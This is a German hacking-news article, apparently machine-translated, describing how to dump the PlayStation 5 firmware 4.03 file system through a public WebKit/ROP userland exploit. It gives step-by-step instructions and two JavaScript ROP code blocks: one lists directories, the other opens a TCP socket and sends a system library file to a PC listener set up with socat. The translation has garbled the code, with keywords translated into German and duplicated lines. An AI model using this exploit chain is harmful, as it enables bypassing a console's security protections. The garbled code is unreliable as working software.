PS5-Hacking: Skript zum Sichern des PS5 4.03-Dateisystems veröffentlicht
Der PlayStation-Hacker Bigboss hat über Zecoxao die ROP-Skripte bereitgestellt, um das PS5-Dateisystem auf 4.03 über den Webkit-Exploit aufzulisten und zu sichern. Dadurch können Sie natürlich nicht alle Dateien ausgeben, sondern diejenigen, auf die über Webkit-Berechtigungen zugegriffen werden kann. Dies könnte uns einen ziemlichen Einblick in die PS5-Dateien geben.
Dumping des PS5 4.03-Dateisystems – wie es geht
- Wahrscheinlich offensichtlich, aber Sie benötigen eine PS5 mit Firmware 4.03, dies funktioniert mit keiner anderen Firmware.
- Sie müssen die ROP-Userland-Ausführung ändern (vor einiger Zeit von ChendoChap und ZnullPtr veröffentlicht). Die Dateien erhalten Sie hier .
- Nach Zeile 650 von Exploit.js ( alert ( `sys_getpid: ${ pid } ` ) ; ) möchten Sie wahrscheinlich die Beispielabschnitte (Threading Sample und Branch Sample) löschen und durch den Code von Bigboss unten ersetzen.
- Hosten Sie die resultierenden Dateien auf Ihrem bevorzugten Server und laden Sie die index.html über den PS5-Browser (Sie können beispielsweise einen der DNS 165.227.83.145 oder 192.241.221.79 von Al-Azif verwenden und dann von Ihrem aus auf die Seite „Benutzerhandbuch“ zugreifen PS5, dann verwenden Sie den URL-Redirector)
A) Um die Dateien und Ordner aufzulisten (dies gibt Ihnen auch den Namen Ihrer „Sandbox“-Zeichenfolge, ein halb zufälliger Ordnername, der für Sie spezifisch ist.)
let directory=malloc(256,1); p.writestr(directory.add32(0),"/"); let retopen=await chain.syscall(5,directory,0,0); let directoryBuffer=malloc(1024*1024,1); Verzeichnisgröße = 1024 * 1024 lassen; let retgetdent=kette warten.syscall(272,reopen,directoryBuffer,directorySize); let numbytes=parseInt(retgetdent,16); Eintritt lassen; lass num_entry=0; lass d_fileno; lass d_reclen; lassen Sie d_type; lass d_namenlen; lass d_name; Position = 0 lassen; for(position=0;position<numbytes;){ entry=directoryBuffer.add32(position); d_fileno=p.read4(entry.add32(0)); d_reclen=p.read2(entry.add32(4)); d_type=p.read1(entry.add32(6)); d_namenlen=p.read1(entry.add32(7)); d_name=p.readstr(entry.add32(8)); alert("num_entry=${num_entry} d_reclen=${d_reclen} d_type=${d_type} d_namelen=${d_namelen} d_name=${d_name} position=${position}"); position=position+d_reclen; parseInt(position)+parseInt(d_reclen,16); num_entry++; }
( Quelle )
B) So sichern Sie eine Datei in einer Zieldatei auf Ihrem Computer:
// HIER EXPLOIT-SACHEN POSTEN // einmal pro Dateinamen ändern //zum Beispiel in Ihrem PC verwenden socat -u TCP-LISTEN:18194,reuseaddr OPEN:ScePlayReady.self,create,trunc let tcpsocket=await chain.syscall(97,2,1,0); alert(`sys_socket: ${tcpsocket}`); let tcpsocketaddr=malloc(16,1); p.write1(tcpsocketaddr.add32(1),2); p.write2(tcpsocketaddr.add32(2),0x1247); //Ändere die IP für deinen PC p.write4(tcpsocketaddr.add32(4),0xCD01A8C0); //192(C0)168(A8)1(01)205(CD) alert(`before sys_connect`); let ret_tcpconnect=wait chain.syscall(98,tcpsocket,tcpsocketaddr,16); alert(`sys_connect: ${ret_tcpconnect}`); // Der richtige Weg ist, stat get size zu verwenden, aber das ist ein schneller und schmutziger Test let tcpmessage=malloc(34406400,1); lass tcpmessage_size=34406400; let file=malloc(256,1); p.writestr(file.add32(0),"/RcDZV3xbd4/common/lib/ScePlayReady.self");//Beispielpfad /RcDZV3xbd4/common/lib/ScePlayReady.self, ändern Sie RcDZV3xbd4 in Ihre Sandbox-Zeichenfolge let retopen_file=await chain.syscall(5,file,0,0); alert(`syscall_open return ${reopen_file}n`); let file_read=wait chain.syscall(3,reopen_file,tcpmessage,tcpmessage_size); alert(`before sys_sendto read ${file_read}`); let ret_tcpsendto=kette warten.syscall(133,tcpsocket,tcpmessage,file_read,0,0,0); alert(`sys_sendto: ${ret_tcpsendto} ${file_read}`); let ret_close=kette warten.syscall(6,tcpsocket); alert(`sys_close: ${ret_close}`); alert(`syscall_open return ${reopen_file}n`); let file_read=wait chain.syscall(3,reopen_file,tcpmessage,tcpmessage_size); alert(`before sys_sendto read ${file_read}`); let ret_tcpsendto=kette warten.syscall(133,tcpsocket,tcpmessage,file_read,0,0,0); alert(`sys_sendto: ${ret_tcpsendto} ${file_read}`); let ret_close=kette warten.syscall(6,tcpsocket); alert(`sys_close: ${ret_close}`); // Die verwendete Größe war für eine Selbstdatei //Nach all dem wird Ihre ScePlayReady.self-Datei erstellt und geschlossen
( Quelle )
Offensichtlich haben Leute, die bereits daran gearbeitet haben, die PS5 zu hacken, die Dateien wahrscheinlich bereits über diesen Mechanismus abgelegt (und waren höchstwahrscheinlich in der Lage, noch mehr Dateien auf andere Weise zu untersuchen), aber für diejenigen von uns, die nur mitmachen wollen und sehen, wie diese Dinge gemacht werden, dies ist ein ziemlich einfacher Weg, um in das PS5-Hacking und -Basteln einzusteigen.
Besitzen Sie eine PS5 mit 4.03? Oder haben Sie es aufgegeben, eine PS5 zu bekommen, geschweige denn eine für Jailbreaking-Zwecke? Lass es mich in den Kommentaren wissen.
Quelle: Zecoxao